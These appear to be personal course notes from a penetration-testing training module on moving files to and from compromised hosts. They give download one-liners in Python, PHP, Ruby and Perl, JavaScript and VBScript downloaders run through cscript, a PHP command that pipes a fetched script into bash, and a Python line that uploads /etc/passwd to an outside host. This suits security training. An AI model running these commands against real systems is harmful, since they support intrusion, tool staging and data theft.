Transferring Files with Code

vendredi 4 octobre 2024 4:33 PM

It's common to find different programming languages installed on the machines we are targetting. Programming languages such as Python, PHP, Perl, and Ruby are commonly available in Linux distributions but can also be installed on Windows, although this is far less common.

We can use some Windows default applications, such as **cscript** and **mshta**, **to execute JavaScript or VBScript code**. JavaScript can also run on Linux hosts.

According to Wikipedia, there are around 700 programming languages, and we can create code in any programing language, to download, upload or execute instructions to the OS. This section will provide a few examples using common programming languages.

Language	Technique

Python	Python is a popular programming language. Currently, version 3 is supported, but we may find servers where Python version 2.7 still exists. Python can run one-liners from an operating system command line using the option -c. Let's see some examples:
	
	Python 2 - Download
	
	`$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'`
	
	Python 3 - Download
	
	`$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'`

PHP	In the following example, we will use the PHP **file_get_contents()** module **to download content from a website** combined with the **file_put_contents()** module **to save the file into a directory**. PHP can be used to run one-liners from an operating system command line using the option -r.
	
	PHP Download with File_get_contents()
	
	`$ php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'`
	
	PHP Download with Fopen()
	
	An alternative to file_get_contents() and file_put_contents() is the **fopen()** module. We can use this module to **open a URL**, **read it's content** and **save it into a file.**
	
	`$ php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'`
	
	PHP Download a File and Pipe it to Bash
	
	We can also send the downloaded content to a pipe instead, similar to the fileless example we executed in the previous section using cURL and wget.
	
	`$ php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash`
	
	Note: The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.

RUBY	**Download a File** `$ ruby -e 'require "net/http"; File.write("LinEnum.sh",`

```
Net::HTTP.get(URI.parse("https://raz.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))
'
```

PERL

Download a File

```
$ perl -e 'use LWP::Simple;
getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
```

JavaScript

JavaScript is a scripting or programming language that allows you to implement complex features on web pages. Like with other programming languages, we can use it for many different things.

The following JavaScript code is based on this post, and we can download a file using it. **We'll create a file called wget.js** and **save the following content:**

```
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();

BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

- **WScript.Arguments(0)** is the first command-line argument passed to the script, which should be **the URL of the file you want to download.**
- **The third parameter (false)** means the request is synchronous, so **the script will wait until the response is received.**
- Creates an **ADODB.Stream** object, which allows handling binary data. This is useful for downloading and saving files.
- Sets the stream **type to binary (1).**
- **Opens** the stream, making it **ready to receive data.**
- **WScript.Arguments(1)** is the second command-line argument passed to the script, which is the file path **where the downloaded content will be saved.**

We can use the following command from a Windows command prompt or PowerShell terminal to execute our JavaScript code and download a file.

Download a File Using JavaScript and cscript.exe

```
C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
```

- `cscript.exe`: This is a Windows Script Host utility that runs scripts in the console. It can execute `.js`, `.vbs`, and other script files.
- `/nologo`: This option suppresses the Microsoft Windows Script Host banner that typically appears when `cscript` runs.
- `wget.js`: This is the script file you're using to download the content. In this case, `wget.js` is likely a script that performs an HTTP request, similar to how the Linux `wget` command works.
- `https://raw.githubusercontent.com/...`: This is the URL from which you want to download the file. It's a direct link to the `PowerView.ps1` script from the PowerSploit repository.
- `PowerView.ps1`: The name of the file to save the downloaded content as, in this case, `PowerView.ps1`.

VBScript

VBScript ("Microsoft Visual Basic Scripting Edition") is an **Active Scripting language** developed by Microsoft that **is modeled on Visual Basic**. **VBScript has been installed by default in every desktop release of Microsoft Windows since Windows 98.**

The following VBScript example can be used based on this. We'll create a file called wget.vbs and save the following content:

```
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

- Initializes an XMLHTTP object for sending HTTP requests.
- Create a binary stream:
- Open and send the HTTP GET request
- Write the response to the binary stream and save to a file:

Download a File Using VBScript and cscript.exe

```
C:\htb> cscript.exe /nologo wget.vbs
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
PowerView2.ps1
```

Upload Operations using Python3

If we want to upload a file, we need to understand the functions in a particular programming language to perform the upload operation. The Python3 requests module allows you to send HTTP requests (GET, POST, PUT, etc.) using Python. We can use the following code if we want to upload a file to our Python3 uploadserver.

Starting the Python uploadserver Module

```
Djerbien@htb[/htb]$ python3 -m uploadserver
```

Uploading a File Using a Python One-liner

```
Djerbien@htb[/htb]$ python3 -c 'import
requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
```

We can do the same with any other programming language. A good practice is picking one and trying to build an upload program.

.